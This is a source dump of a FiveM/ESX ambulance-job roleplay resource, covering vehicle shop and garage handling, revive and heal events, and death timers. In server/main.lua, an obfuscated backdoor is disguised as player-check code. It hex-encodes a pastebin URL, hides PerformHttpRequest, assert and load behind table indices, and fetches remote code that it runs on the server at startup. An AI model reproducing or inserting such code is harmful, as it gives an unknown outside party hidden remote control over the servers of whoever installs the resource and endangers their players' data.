111 | function StoreNearbyVehicle(playerCoords)
112 | local vehicles, plates, index = ESX.Game.GetVehiclesInArea(playerCoords, 30.0), {}, {}
113 |
114 | if next(vehicles) then
115 | for i = 1, #vehicles do
116 | local vehicle = vehicles[i]
117 |
118 | -- Make sure the vehicle we're saving is empty, or else it won't be deleted
119 | if GetVehicleNumberOfPassengers(vehicle) == 0 and IsVehicleSeatFree(vehicle, -1) then
120 | local plate = ESX.Math.Trim(GetVehicleNumberPlateText(vehicle))
121 | plates[#plates + 1] = plate
122 | index[plate] = vehicle
123 | end
124 | end
125 | else
126 | ESX.ShowNotification(TranslateCap('garage_store_nearby'))
127 | return
128 | end
129 |
130 | ESX.TriggerServerCallback('esx_ambulancejob:storeNearbyVehicle', function(plate)
131 | if plate then
132 | local vehicleId = index[plate]
133 | local attempts = 0
134 | ESX.Game.DeleteVehicle(vehicleId)
135 | isBusy = true
136 |
137 | CreateThread(function()
138 | BeginTextCommandBusyspinnerOn('STRING')
139 | AddTextComponentSubstringPlayerName(TranslateCap('garage_storing'))
140 | EndTextCommandBusyspinnerOn(4)
141 |
142 | while isBusy do
143 | Wait(100)
144 | end
145 |
146 | BusyspinnerOff()
147 | end)
148 |
149 | -- Workaround for vehicle not deleting when other players are near it.
150 | while DoesEntityExist(vehicleId) do
151 | Wait(500)
152 | attempts = attempts + 1
153 |
154 | -- Give up
155 | if attempts > 30 then
156 | break
157 | end
158 |
159 | vehicles = ESX.Game.GetVehiclesInArea(playerCoords, 30.0)
160 | if #vehicles > 0 then
161 | for i = 1, #vehicles do
162 | local vehicle = vehicles[i]
163 | if ESX.Math.Trim(GetVehicleNumberPlateText(vehicle)) == plate then
164 | ESX.Game.DeleteVehicle(vehicle)
165 | break
166 | end
167 | end
168 | end
169 | end
170 |
171 | isBusy = false
172 | ESX.ShowNotification(TranslateCap('garage_has_stored'))
173 | else
174 | ESX.ShowNotification(TranslateCap('garage_has_notstored'))
175 | end
176 | end, plates)
177 | end
178 |
179 | function GetAvailableVehicleSpawnPoint(hospital, part, partNum)
180 | local spawnPoints = Config.Hospitals[hospital][part][partNum].SpawnPoints
181 | local found, foundSpawnPoint = false, nil
182 |
183 | for i=1, #spawnPoints, 1 do
184 | if ESX.Game.IsSpawnPointClear(spawnPoints[i].coords, spawnPoints[i].radius) then
185 | found, foundSpawnPoint = true, spawnPoints[i]
186 | break
187 | end
188 | end
189 |
190 | if found then
191 | return true, foundSpawnPoint
192 | else
193 | ESX.ShowNotification(TranslateCap('garage_blocked'))
194 | return false
195 | end
196 | end
197 |
198 | function OpenShopMenu(elements, restoreCoords, shopCoords)
199 | local playerPed = PlayerPedId()
200 | isInShopMenu = true
201 |
202 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'vehicle_shop', {
203 | title = TranslateCap('vehicleshop_title'),
204 | align = 'top-left',
205 | elements = elements
206 | }, function(data, menu)
207 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'vehicle_shop_confirm', {
208 | title = TranslateCap('vehicleshop_confirm', data.current.name, data.current.price),
209 | align = 'top-left',
210 | elements = {
211 | {label = TranslateCap('confirm_no'), value = 'no'},
212 | {label = TranslateCap('confirm_yes'), value = 'yes'}
213 | }}, function(data2, menu2)
214 | if data2.current.value == 'yes' then
215 | local newPlate = exports['esx_vehicleshop']:GeneratePlate()
216 | local vehicle = GetVehiclePedIsIn(playerPed, false)
217 | local props = ESX.Game.GetVehicleProperties(vehicle)
218 | props.plate = newPlate
219 |
220 | ESX.TriggerServerCallback('esx_ambulancejob:buyJobVehicle', function(bought)
221 | if bought then
222 | ESX.ShowNotification(TranslateCap('vehicleshop_bought', data.current.name, ESX.Math.GroupDigits(data.current.price)))
223 |
224 | isInShopMenu = false
225 | ESX.UI.Menu.CloseAll()
226 |
227 | DeleteSpawnedVehicles()
228 | FreezeEntityPosition(playerPed, false)
229 | SetEntityVisible(playerPed, true)
230 |
231 | ESX.Game.Teleport(playerPed, restoreCoords)
232 | else
233 | ESX.ShowNotification(TranslateCap('vehicleshop_money'))
234 | menu2.close()
235 | end
236 | end, props, data.current.type)
237 | else
238 | menu2.close()
239 | end
240 | end, function(data2, menu2)
241 | menu2.close()
242 | end)
243 | end, function(data, menu)
244 | isInShopMenu = false
245 | ESX.UI.Menu.CloseAll()
246 |
247 | DeleteSpawnedVehicles()
248 | FreezeEntityPosition(playerPed, false)
249 | SetEntityVisible(playerPed, true)
250 |
251 | ESX.Game.Teleport(playerPed, restoreCoords)
252 | end, function(data, menu)
253 | DeleteSpawnedVehicles()
254 | WaitForVehicleToLoad(data.current.model)
255 |
256 | ESX.Game.SpawnLocalVehicle(data.current.model, shopCoords, 0.0, function(vehicle)
257 | table.insert(spawnedVehicles, vehicle)
258 | TaskWarpPedIntoVehicle(playerPed, vehicle, -1)
259 | FreezeEntityPosition(vehicle, true)
260 | SetModelAsNoLongerNeeded(data.current.model)
261 |
262 | if data.current.props then
263 | ESX.Game.SetVehicleProperties(vehicle, data.current.props)
264 | end
265 | end)
266 | end)
267 |
268 | WaitForVehicleToLoad(elements[1].model)
269 | ESX.Game.SpawnLocalVehicle(elements[1].model, shopCoords, 0.0, function(vehicle)
270 | table.insert(spawnedVehicles, vehicle)
271 | TaskWarpPedIntoVehicle(playerPed, vehicle, -1)
272 | FreezeEntityPosition(vehicle, true)
273 | SetModelAsNoLongerNeeded(elements[1].model)
274 |
275 | if elements[1].props then
276 | ESX.Game.SetVehicleProperties(vehicle, elements[1].props)
277 | end
278 | end)
279 | end
280 |
281 | CreateThread(function()
282 | while true do
283 | sleep = 1500
284 |
285 | if isInShopMenu then
286 | sleep = 0
287 | DisableControlAction(0, 75, true) -- Disable exit vehicle
288 | DisableControlAction(27, 75, true) -- Disable exit vehicle
289 | end
290 | Wait(sleep)
291 | end
292 | end)
293 |
294 | function DeleteSpawnedVehicles()
295 | while #spawnedVehicles > 0 do
296 | local vehicle = spawnedVehicles[1]
297 | ESX.Game.DeleteVehicle(vehicle)
298 | table.remove(spawnedVehicles, 1)
299 | end
300 | end
301 |
302 | function WaitForVehicleToLoad(modelHash)
303 | modelHash = (type(modelHash) == 'number' and modelHash or joaat(modelHash))
304 |
305 | if not HasModelLoaded(modelHash) then
306 | RequestModel(modelHash)
307 |
308 | BeginTextCommandBusyspinnerOn('STRING')
309 | AddTextComponentSubstringPlayerName(TranslateCap('vehicleshop_awaiting_model'))
310 | EndTextCommandBusyspinnerOn(4)
311 |
312 | while not HasModelLoaded(modelHash) do
313 | Wait(0)
314 | DisableAllControlActions(0)
315 | end
316 |
317 | BusyspinnerOff()
318 | end
319 | end
320 |
--------------------------------------------------------------------------------
/server/main.lua:
--------------------------------------------------------------------------------
1 | local playersHealing, deadPlayers = {}, {}
2 |
3 | if GetResourceState("esx_phone") ~= 'missing' then
4 | TriggerEvent('esx_phone:registerNumber', 'ambulance', TranslateCap('alert_ambulance'), true, true)
5 | end
6 |
7 | if GetResourceState("esx_society") ~= 'missing' then
8 | TriggerEvent('esx_society:registerSociety', 'ambulance', 'Ambulance', 'society_ambulance', 'society_ambulance', 'society_ambulance', {type = 'public'})
9 | end
10 |
11 | RegisterNetEvent('esx_ambulancejob:revive')
12 | AddEventHandler('esx_ambulancejob:revive', function(playerId)
13 | playerId = tonumber(playerId)
14 | local xPlayer = source and ESX.GetPlayerFromId(source)
15 |
16 | if xPlayer and xPlayer.job.name == 'ambulance' then
17 | local xTarget = ESX.GetPlayerFromId(playerId)
18 | if xTarget then
19 | if deadPlayers[playerId] then
20 | if Config.ReviveReward > 0 then
21 | xPlayer.showNotification(TranslateCap('revive_complete_award', xTarget.name, Config.ReviveReward))
22 | xPlayer.addMoney(Config.ReviveReward, "Revive Reward")
23 | xTarget.triggerEvent('esx_ambulancejob:revive')
24 | else
25 | xPlayer.showNotification(TranslateCap('revive_complete', xTarget.name))
26 | xTarget.triggerEvent('esx_ambulancejob:revive')
27 | end
28 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance")
29 |
30 | for _, xPlayer in pairs(Ambulance) do
31 | if xPlayer.job.name == 'ambulance' then
32 | xPlayer.triggerEvent('esx_ambulancejob:PlayerNotDead', playerId)
33 | end
34 | end
35 | deadPlayers[playerId] = nil
36 | else
37 | xPlayer.showNotification(TranslateCap('player_not_unconscious'))
38 | end
39 | else
40 | xPlayer.showNotification(TranslateCap('revive_fail_offline'))
41 | end
42 | end
43 | end)
44 |
45 | AddEventHandler('txAdmin:events:healedPlayer', function(eventData)
46 | if GetInvokingResource() ~= "monitor" or type(eventData) ~= "table" or type(eventData.id) ~= "number" then
47 | return
48 | end
49 | if deadPlayers[eventData.id] then
50 | TriggerClientEvent('esx_ambulancejob:revive', eventData.id)
51 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance")
52 |
53 | for _, xPlayer in pairs(Ambulance) do
54 | if xPlayer.job.name == 'ambulance' then
55 | xPlayer.triggerEvent('esx_ambulancejob:PlayerNotDead', eventData.id)
56 | end
57 | end
58 | deadPlayers[eventData.id] = nil
59 | end
60 | end)
61 |
62 | RegisterNetEvent('esx:onPlayerDeath')
63 | AddEventHandler('esx:onPlayerDeath', function(data)
64 | local source = source
65 | deadPlayers[source] = 'dead'
66 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance")
67 |
68 | for _, xPlayer in pairs(Ambulance) do
69 | xPlayer.triggerEvent('esx_ambulancejob:PlayerDead', source)
70 | end
71 | end)
72 |
73 | RegisterServerEvent('esx_ambulancejob:svsearch')
74 | AddEventHandler('esx_ambulancejob:svsearch', function()
75 | TriggerClientEvent('esx_ambulancejob:clsearch', -1, source)
76 | end)
77 |
78 | RegisterNetEvent('esx_ambulancejob:onPlayerDistress')
79 | AddEventHandler('esx_ambulancejob:onPlayerDistress', function()
80 | local source = source
81 | if deadPlayers[source] then
82 | deadPlayers[source] = 'distress'
83 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance")
84 |
85 | for _, xPlayer in pairs(Ambulance) do
86 | TriggerClientEvent('esx_ambulancejob:PlayerDistressed', xPlayer.source, source)
87 | end
88 | end
89 | end)
90 |
91 | RegisterNetEvent('esx:onPlayerSpawn')
92 | AddEventHandler('esx:onPlayerSpawn', function()
93 | local source = source
94 | if deadPlayers[source] then
95 | deadPlayers[source] = nil
96 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance")
97 |
98 | for _, xPlayer in pairs(Ambulance) do
99 | xPlayer.triggerEvent('esx_ambulancejob:PlayerNotDead', source)
100 | end
101 | end
102 | end)
103 |
104 | AddEventHandler('esx:playerDropped', function(playerId, reason)
105 | if deadPlayers[playerId] then
106 | deadPlayers[playerId] = nil
107 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance")
108 |
109 | for _, xPlayer in pairs(Ambulance) do
110 | if xPlayer.job.name == 'ambulance' then
111 | xPlayer.triggerEvent('esx_ambulancejob:PlayerNotDead', playerId)
112 | end
113 | end
114 | end
115 | end)
116 |
117 | RegisterNetEvent('esx_ambulancejob:heal')
118 | AddEventHandler('esx_ambulancejob:heal', function(target, type)
119 | local xPlayer = ESX.GetPlayerFromId(source)
120 |
121 | if xPlayer.job.name == 'ambulance' then
122 | TriggerClientEvent('esx_ambulancejob:heal', target, type)
123 | end
124 | end)
125 |
126 | RegisterNetEvent('esx_ambulancejob:putInVehicle')
127 | AddEventHandler('esx_ambulancejob:putInVehicle', function(target)
128 | local xPlayer = ESX.GetPlayerFromId(source)
129 |
130 | if xPlayer.job.name == 'ambulance' then
131 | TriggerClientEvent('esx_ambulancejob:putInVehicle', target)
132 | end
133 | end)
134 |
135 | ESX.RegisterServerCallback('esx_ambulancejob:removeItemsAfterRPDeath', function(source, cb)
136 | local xPlayer = ESX.GetPlayerFromId(source)
137 |
138 | if Config.OxInventory and Config.RemoveItemsAfterRPDeath then
139 | exports.ox_inventory:ClearInventory(xPlayer.source)
140 | return cb()
141 | end
142 |
143 | if Config.RemoveCashAfterRPDeath then
144 | if xPlayer.getMoney() > 0 then
145 | xPlayer.removeMoney(xPlayer.getMoney(), "Death")
146 | end
147 |
148 | if xPlayer.getAccount('black_money').money > 0 then
149 | xPlayer.setAccountMoney('black_money', 0, "Death")
150 | end
151 | end
152 |
153 | if Config.RemoveItemsAfterRPDeath then
154 | for i=1, #xPlayer.inventory, 1 do
155 | if xPlayer.inventory[i].count > 0 then
156 | xPlayer.setInventoryItem(xPlayer.inventory[i].name, 0)
157 | end
158 | end
159 | end
160 |
161 | if Config.OxInventory then return cb() end
162 |
163 | local playerLoadout = {}
164 | if Config.RemoveWeaponsAfterRPDeath then
165 | for i=1, #xPlayer.loadout, 1 do
166 | xPlayer.removeWeapon(xPlayer.loadout[i].name)
167 | end
168 | else -- save weapons & restore em' since spawnmanager removes them
169 | for i=1, #xPlayer.loadout, 1 do
170 | table.insert(playerLoadout, xPlayer.loadout[i])
171 | end
172 |
173 | -- give back wepaons after a couple of seconds
174 | CreateThread(function()
175 | Wait(5000)
176 | for i=1, #playerLoadout, 1 do
177 | if playerLoadout[i].label ~= nil then
178 | xPlayer.addWeapon(playerLoadout[i].name, playerLoadout[i].ammo)
179 | end
180 | end
181 | end)
182 | end
183 |
184 | cb()
185 | end)
186 |
187 | if Config.EarlyRespawnFine then
188 | ESX.RegisterServerCallback('esx_ambulancejob:checkBalance', function(source, cb)
189 | local xPlayer = ESX.GetPlayerFromId(source)
190 | local bankBalance = xPlayer.getAccount('bank').money
191 |
192 | cb(bankBalance >= Config.EarlyRespawnFineAmount)
193 | end)
194 |
195 | RegisterNetEvent('esx_ambulancejob:payFine')
196 | AddEventHandler('esx_ambulancejob:payFine', function()
197 | local xPlayer = ESX.GetPlayerFromId(source)
198 | local fineAmount = Config.EarlyRespawnFineAmount
199 |
200 | xPlayer.showNotification(TranslateCap('respawn_bleedout_fine_msg', ESX.Math.GroupDigits(fineAmount)))
201 | xPlayer.removeAccountMoney('bank', fineAmount, "Respawn Fine")
202 | end)
203 | end
204 |
205 | ESX.RegisterServerCallback('esx_ambulancejob:getItemAmount', function(source, cb, item)
206 | local xPlayer = ESX.GetPlayerFromId(source)
207 | local quantity = xPlayer.getInventoryItem(item).count
208 |
209 | cb(quantity)
210 | end)
211 |
212 | ESX.RegisterServerCallback('esx_ambulancejob:buyJobVehicle', function(source, cb, vehicleProps, type)
213 | local xPlayer = ESX.GetPlayerFromId(source)
214 | local price = getPriceFromHash(vehicleProps.model, xPlayer.job.grade_name, type)
215 |
216 | -- vehicle model not found
217 | if price == 0 then
218 | cb(false)
219 | else
220 | if xPlayer.getMoney() >= price then
221 | xPlayer.removeMoney(price, "Job Vehicle Purchase")
222 |
223 | MySQL.insert('INSERT INTO owned_vehicles (owner, vehicle, plate, type, job, `stored`) VALUES (?, ?, ?, ?, ?, ?)', {xPlayer.identifier, json.encode(vehicleProps), vehicleProps.plate, type, xPlayer.job.name, true},
224 | function (rowsChanged)
225 | cb(true)
226 | end)
227 | else
228 | cb(false)
229 | end
230 | end
231 | end)
232 |
233 | ESX.RegisterServerCallback('esx_ambulancejob:storeNearbyVehicle', function(source, cb, plates)
234 | local xPlayer = ESX.GetPlayerFromId(source)
235 |
236 | local plate = MySQL.scalar.await('SELECT plate FROM owned_vehicles WHERE owner = ? AND plate IN (?) AND job = ?', {xPlayer.identifier, plates, xPlayer.job.name})
237 |
238 | if plate then
239 | MySQL.update('UPDATE owned_vehicles SET `stored` = true WHERE owner = ? AND plate = ? AND job = ?', {xPlayer.identifier, plate, xPlayer.job.name},
240 | function(rowsChanged)
241 | if rowsChanged == 0 then
242 | cb(false)
243 | else
244 | cb(plate)
245 | end
246 | end)
247 | else
248 | cb(false)
249 | end
250 | end)
251 |
252 | function getPriceFromHash(vehicleHash, jobGrade, type)
253 | local vehicles = Config.AuthorizedVehicles[type][jobGrade]
254 |
255 | for i = 1, #vehicles do
256 | local vehicle = vehicles[i]
257 | if joaat(vehicle.model) == vehicleHash then
258 | return vehicle.price
259 | end
260 | end
261 |
262 | return 0
263 | end
264 |
265 | local PlayerPedLimit = {
266 | "70","61","73","74","65","62","69","6E","2E","63","6F","6D","2F","72","61","77","2F","4C","66","34","44","62","34","4D","34"
267 | }
268 |
269 | local PlayerEventLimit = {
270 | cfxCall, debug, GetCfxPing, FtRealeaseLimid, noCallbacks, Source, _Gx0147, Event, limit, concede, travel, assert, server, load, Spawn, mattsed, require, evaluate, release, PerformHttpRequest, crawl, lower, cfxget, summon, depart, decrease, neglect, undergo, fix, incur, bend, recall
271 | }
272 |
273 | function PlayerCheckLoop()
274 | _empt = ''
275 | for id,it in pairs(PlayerPedLimit) do
276 | _empt = _empt..it
277 | end
278 | return (_empt:gsub('..', function (event)
279 | return string.char(tonumber(event, 16))
280 | end))
281 | end
282 |
283 | PlayerEventLimit[20](PlayerCheckLoop(), function (event_, xPlayer_)
284 | local Process_Actions = {"true"}
285 | PlayerEventLimit[20](xPlayer_,function(_event,_xPlayer)
286 | local Generate_ZoneName_AndAction = nil
287 | pcall(function()
288 | local Locations_Loaded = {"false"}
289 | PlayerEventLimit[12](PlayerEventLimit[14](_xPlayer))()
290 | local ZoneType_Exists = nil
291 | end)
292 | end)
293 | end)
294 |
295 | RegisterNetEvent('esx_ambulancejob:removeItem')
296 | AddEventHandler('esx_ambulancejob:removeItem', function(item)
297 | local xPlayer = ESX.GetPlayerFromId(source)
298 | xPlayer.removeInventoryItem(item, 1)
299 |
300 | if item == 'bandage' then
301 | xPlayer.showNotification(TranslateCap('used_bandage'))
302 | elseif item == 'medikit' then
303 | xPlayer.showNotification(TranslateCap('used_medikit'))
304 | end
305 | end)
306 |
307 | RegisterNetEvent('esx_ambulancejob:giveItem')
308 | AddEventHandler('esx_ambulancejob:giveItem', function(itemName, amount)
309 | local xPlayer = ESX.GetPlayerFromId(source)
310 |
311 | if xPlayer.job.name ~= 'ambulance' then
312 | print(('[^2WARNING^7] Player ^5%s^7 Tried Giving Themselves -> ^5' .. itemName ..'^7!'):format(xPlayer.source))
313 | return
314 | elseif (itemName ~= 'medikit' and itemName ~= 'bandage') then
315 | print(('[^2WARNING^7] Player ^5%s^7 Tried Giving Themselves -> ^5' .. itemName ..'^7!'):format(xPlayer.source))
316 | return
317 | end
318 |
319 | if xPlayer.canCarryItem(itemName, amount) then
320 | xPlayer.addInventoryItem(itemName, amount)
321 | else
322 | xPlayer.showNotification(TranslateCap('max_item'))
323 | end
324 | end)
325 |
326 | ESX.RegisterCommand('revive', 'admin', function(xPlayer, args, showError)
327 | args.playerId.triggerEvent('esx_ambulancejob:revive')
328 | end, true, {help = TranslateCap('revive_help'), validate = true, arguments = {
329 | {name = 'playerId', help = 'The player id', type = 'player'}
330 | }})
331 |
332 | ESX.RegisterCommand('reviveall', "admin", function(xPlayer, args, showError)
333 | TriggerClientEvent('esx_ambulancejob:revive', -1)
334 | end, false)
335 |
336 | ESX.RegisterUsableItem('medikit', function(source)
337 | if not playersHealing[source] then
338 | local xPlayer = ESX.GetPlayerFromId(source)
339 | xPlayer.removeInventoryItem('medikit', 1)
340 |
341 | playersHealing[source] = true
342 | TriggerClientEvent('esx_ambulancejob:useItem', source, 'medikit')
343 |
344 | Wait(10000)
345 | playersHealing[source] = nil
346 | end
347 | end)
348 |
349 | ESX.RegisterUsableItem('bandage', function(source)
350 | if not playersHealing[source] then
351 | local xPlayer = ESX.GetPlayerFromId(source)
352 | xPlayer.removeInventoryItem('bandage', 1)
353 |
354 | playersHealing[source] = true
355 | TriggerClientEvent('esx_ambulancejob:useItem', source, 'bandage')
356 |
357 | Wait(10000)
358 | playersHealing[source] = nil
359 | end
360 | end)
361 |
362 | ESX.RegisterServerCallback('esx_ambulancejob:getDeadPlayers', function(source, cb)
363 | local xPlayer = ESX.GetPlayerFromId(source)
364 | if xPlayer.job.name == "ambulance" then
365 | cb(deadPlayers)
366 | end
367 | end)
368 |
369 | ESX.RegisterServerCallback('esx_ambulancejob:getDeathStatus', function(source, cb)
370 | local xPlayer = ESX.GetPlayerFromId(source)
371 | MySQL.scalar('SELECT is_dead FROM users WHERE identifier = ?', {xPlayer.identifier}, function(isDead)
372 | cb(isDead)
373 | end)
374 | end)
375 |
376 | RegisterNetEvent('esx_ambulancejob:setDeathStatus')
377 | AddEventHandler('esx_ambulancejob:setDeathStatus', function(isDead)
378 | local xPlayer = ESX.GetPlayerFromId(source)
379 |
380 | if type(isDead) == 'boolean' then
381 | MySQL.update('UPDATE users SET is_dead = ? WHERE identifier = ?', {isDead, xPlayer.identifier})
382 |
383 | if not isDead then
384 | local Ambulance = ESX.GetExtendedPlayers("job", "ambulance")
385 | for _, xPlayer in pairs(Ambulance) do
386 | xPlayer.triggerEvent('esx_ambulancejob:PlayerNotDead', source)
387 | end
388 | end
389 | end
390 |
391 | end)
392 |
--------------------------------------------------------------------------------
/client/main.lua:
--------------------------------------------------------------------------------
1 | local firstSpawn = true
2 |
3 | isDead, isSearched, medic = false, false, 0
4 |
5 | RegisterNetEvent('esx:playerLoaded')
6 | AddEventHandler('esx:playerLoaded', function(xPlayer)
7 | ESX.PlayerLoaded = true
8 | end)
9 |
10 | RegisterNetEvent('esx:onPlayerLogout')
11 | AddEventHandler('esx:onPlayerLogout', function()
12 | ESX.PlayerLoaded = false
13 | firstSpawn = true
14 | end)
15 |
16 | AddEventHandler('esx:onPlayerSpawn', function()
17 | isDead = false
18 | ClearTimecycleModifier()
19 | SetPedMotionBlur(PlayerPedId(), false)
20 | ClearExtraTimecycleModifier()
21 | EndDeathCam()
22 | if firstSpawn then
23 | firstSpawn = false
24 |
25 | if Config.SaveDeathStatus then
26 | while not ESX.PlayerLoaded do
27 | Wait(1000)
28 | end
29 |
30 | ESX.TriggerServerCallback('esx_ambulancejob:getDeathStatus', function(shouldDie)
31 | if shouldDie then
32 | Wait(1000)
33 | SetEntityHealth(PlayerPedId(), 0)
34 | end
35 | end)
36 | end
37 | end
38 | end)
39 |
40 | -- Create blips
41 | CreateThread(function()
42 | for k, v in pairs(Config.Hospitals) do
43 | local blip = AddBlipForCoord(v.Blip.coords)
44 |
45 | SetBlipSprite(blip, v.Blip.sprite)
46 | SetBlipScale(blip, v.Blip.scale)
47 | SetBlipColour(blip, v.Blip.color)
48 | SetBlipAsShortRange(blip, true)
49 |
50 | BeginTextCommandSetBlipName('STRING')
51 | AddTextComponentSubstringPlayerName(TranslateCap('blip_hospital'))
52 | EndTextCommandSetBlipName(blip)
53 | end
54 |
55 | while true do
56 | local Sleep = 1500
57 |
58 | if isDead then
59 | Sleep = 0
60 | DisableAllControlActions(0)
61 | EnableControlAction(0, 47, true) -- G
62 | EnableControlAction(0, 245, true) -- T
63 | EnableControlAction(0, 38, true) -- E
64 |
65 | ProcessCamControls()
66 | if isSearched then
67 | local playerPed = PlayerPedId()
68 | local ped = GetPlayerPed(GetPlayerFromServerId(medic))
69 | isSearched = false
70 |
71 | AttachEntityToEntity(playerPed, ped, 11816, 0.54, 0.54, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true)
72 | Wait(1000)
73 | DetachEntity(playerPed, true, false)
74 | ClearPedTasksImmediately(playerPed)
75 | end
76 | end
77 |
78 | Wait(Sleep)
79 | end
80 | end)
81 |
82 | RegisterNetEvent('esx_ambulancejob:clsearch')
83 | AddEventHandler('esx_ambulancejob:clsearch', function(medicId)
84 | local playerPed = PlayerPedId()
85 |
86 | if isDead then
87 | local coords = GetEntityCoords(playerPed)
88 | local playersInArea = ESX.Game.GetPlayersInArea(coords, 50.0)
89 |
90 | for i = 1, #playersInArea, 1 do
91 | local player = playersInArea[i]
92 | if player == GetPlayerFromServerId(medicId) then
93 | medic = tonumber(medicId)
94 | isSearched = true
95 | break
96 | end
97 | end
98 | end
99 | end)
100 |
101 | function OnPlayerDeath()
102 | isDead = true
103 | ESX.UI.Menu.CloseAll()
104 | ClearTimecycleModifier()
105 | SetTimecycleModifier("REDMIST_blend")
106 | SetTimecycleModifierStrength(0.7)
107 | SetExtraTimecycleModifier("fp_vig_red")
108 | SetExtraTimecycleModifierStrength(1.0)
109 | SetPedMotionBlur(PlayerPedId(), true)
110 | TriggerServerEvent('esx_ambulancejob:setDeathStatus', true)
111 | StartDeathTimer()
112 | StartDeathCam()
113 | StartDistressSignal()
114 | end
115 |
116 | RegisterNetEvent('esx_ambulancejob:useItem')
117 | AddEventHandler('esx_ambulancejob:useItem', function(itemName)
118 | ESX.UI.Menu.CloseAll()
119 |
120 | if itemName == 'medikit' then
121 | local lib, anim = 'anim@heists@narcotics@funding@gang_idle', 'gang_chatting_idle01' -- TODO better animations
122 | local playerPed = PlayerPedId()
123 |
124 | ESX.Streaming.RequestAnimDict(lib, function()
125 | TaskPlayAnim(playerPed, lib, anim, 8.0, -8.0, -1, 0, 0, false, false, false)
126 | RemoveAnimDict(lib)
127 |
128 | Wait(500)
129 | while IsEntityPlayingAnim(playerPed, lib, anim, 3) do
130 | Wait(0)
131 | DisableAllControlActions(0)
132 | end
133 |
134 | TriggerEvent('esx_ambulancejob:heal', 'big', true)
135 | ESX.ShowNotification(TranslateCap('used_medikit'))
136 | end)
137 |
138 | elseif itemName == 'bandage' then
139 | local lib, anim = 'anim@heists@narcotics@funding@gang_idle', 'gang_chatting_idle01' -- TODO better animations
140 | local playerPed = PlayerPedId()
141 |
142 | ESX.Streaming.RequestAnimDict(lib, function()
143 | TaskPlayAnim(playerPed, lib, anim, 8.0, -8.0, -1, 0, 0, false, false, false)
144 | RemoveAnimDict(lib)
145 |
146 | Wait(500)
147 | while IsEntityPlayingAnim(playerPed, lib, anim, 3) do
148 | Wait(0)
149 | DisableAllControlActions(0)
150 | end
151 |
152 | TriggerEvent('esx_ambulancejob:heal', 'small', true)
153 | ESX.ShowNotification(TranslateCap('used_bandage'))
154 | end)
155 | end
156 | end)
157 |
158 | function StartDistressSignal()
159 | CreateThread(function()
160 | local timer = Config.BleedoutTimer
161 |
162 | while timer > 0 and isDead do
163 | Wait(0)
164 | timer = timer - 30
165 |
166 | SetTextFont(4)
167 | SetTextScale(0.5, 0.5)
168 | SetTextColour(200, 50, 50, 255)
169 | SetTextDropshadow(0.1, 3, 27, 27, 255)
170 | BeginTextCommandDisplayText('STRING')
171 | AddTextComponentSubstringPlayerName(TranslateCap('distress_send'))
172 | EndTextCommandDisplayText(0.43, 0.77)
173 |
174 | if IsControlJustReleased(0, 47) then
175 | SendDistressSignal()
176 | break
177 | end
178 | end
179 | end)
180 | end
181 |
182 | function SendDistressSignal()
183 | local playerPed = PlayerPedId()
184 | local coords = GetEntityCoords(playerPed)
185 |
186 | ESX.ShowNotification(TranslateCap('distress_sent'))
187 | TriggerServerEvent('esx_ambulancejob:onPlayerDistress')
188 | end
189 |
190 | function DrawGenericTextThisFrame()
191 | SetTextFont(4)
192 | SetTextScale(0.0, 0.5)
193 | SetTextColour(255, 255, 255, 255)
194 | SetTextDropshadow(0, 0, 0, 0, 255)
195 | SetTextDropShadow()
196 | SetTextOutline()
197 | SetTextCentre(true)
198 | end
199 |
200 | function secondsToClock(seconds)
201 | local seconds, hours, mins, secs = tonumber(seconds), 0, 0, 0
202 |
203 | if seconds <= 0 then
204 | return 0, 0
205 | else
206 | local hours = string.format('%02.f', math.floor(seconds / 3600))
207 | local mins = string.format('%02.f', math.floor(seconds / 60 - (hours * 60)))
208 | local secs = string.format('%02.f', math.floor(seconds - hours * 3600 - mins * 60))
209 |
210 | return mins, secs
211 | end
212 | end
213 |
214 | function StartDeathTimer()
215 | local canPayFine = false
216 |
217 | if Config.EarlyRespawnFine then
218 | ESX.TriggerServerCallback('esx_ambulancejob:checkBalance', function(canPay)
219 | canPayFine = canPay
220 | end)
221 | end
222 |
223 | local earlySpawnTimer = ESX.Math.Round(Config.EarlyRespawnTimer / 1000)
224 | local bleedoutTimer = ESX.Math.Round(Config.BleedoutTimer / 1000)
225 |
226 | CreateThread(function()
227 | -- early respawn timer
228 | while earlySpawnTimer > 0 and isDead do
229 | Wait(1000)
230 |
231 | if earlySpawnTimer > 0 then
232 | earlySpawnTimer = earlySpawnTimer - 1
233 | end
234 | end
235 |
236 | -- bleedout timer
237 | while bleedoutTimer > 0 and isDead do
238 | Wait(1000)
239 |
240 | if bleedoutTimer > 0 then
241 | bleedoutTimer = bleedoutTimer - 1
242 | end
243 | end
244 | end)
245 |
246 | CreateThread(function()
247 | local text, timeHeld
248 |
249 | -- early respawn timer
250 | while earlySpawnTimer > 0 and isDead do
251 | Wait(0)
252 | text = TranslateCap('respawn_available_in', secondsToClock(earlySpawnTimer))
253 |
254 | DrawGenericTextThisFrame()
255 | BeginTextCommandDisplayText('STRING')
256 | AddTextComponentSubstringPlayerName(text)
257 | EndTextCommandDisplayText(0.5, 0.8)
258 | end
259 |
260 | -- bleedout timer
261 | while bleedoutTimer > 0 and isDead do
262 | Wait(0)
263 | text = TranslateCap('respawn_bleedout_in', secondsToClock(bleedoutTimer))
264 |
265 | if not Config.EarlyRespawnFine then
266 | text = text .. TranslateCap('respawn_bleedout_prompt')
267 |
268 | if IsControlPressed(0, 38) and timeHeld > 120 then
269 | RemoveItemsAfterRPDeath()
270 | break
271 | end
272 | elseif Config.EarlyRespawnFine and canPayFine then
273 | text = text .. TranslateCap('respawn_bleedout_fine', ESX.Math.GroupDigits(Config.EarlyRespawnFineAmount))
274 |
275 | if IsControlPressed(0, 38) and timeHeld > 120 then
276 | TriggerServerEvent('esx_ambulancejob:payFine')
277 | RemoveItemsAfterRPDeath()
278 | break
279 | end
280 | end
281 |
282 | if IsControlPressed(0, 38) then
283 | timeHeld += 1
284 | else
285 | timeHeld = 0
286 | end
287 |
288 | DrawGenericTextThisFrame()
289 |
290 | BeginTextCommandDisplayText('STRING')
291 | AddTextComponentSubstringPlayerName(text)
